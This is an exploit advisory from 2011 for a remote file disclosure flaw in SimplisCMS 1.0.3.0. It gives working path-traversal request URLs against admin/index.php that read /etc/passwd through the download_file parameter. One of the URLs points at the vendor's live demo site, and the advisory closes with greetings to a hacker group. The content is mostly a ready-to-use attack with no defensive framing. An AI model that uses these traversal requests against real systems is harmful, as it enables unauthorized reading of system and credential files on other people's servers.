########################################################## # Exploit Title: SimplisCMS 1.0.3.0 Remote File Disclosure Vulnerability # home : http://www.D99Y.com # Date: 27/3/2011 # Author: NassRawI # Software Link: http://modcove.com/index.php # Demo : http://modcove.com/index.php?page=demo # Version: 1.0.3.0 ########################################################## # # file : # # simpliscms/admin/index.php # # exploit : # # # http://localhost/simpliscms/admin/index.php?action=do_download&download_file=[ Read files ]&page=§ion=pages # # # http://localhost/simpliscms/admin/index.php?action=do_download&download_file=../../../../../../../etc/passwd&page=§ion=pages # # Demo : # # http://modcove.com/demos/simpliscms/admin/index.php?action=do_download&download_file=../../../../../../../etc/passwd&page=§ion=pages # # ########################################################## Greetz : D99Y Team + alroo7 alte No Tkd3 + oхіјєή + ǺŁṀṨŘŎŎŖĨ + JEenY + anT!-Tr0J4n + ReBLOoOV + FoFo < x-shadow my baby :$ + ‏Difficult 511 and all members D99Y.CoM Enjoy :)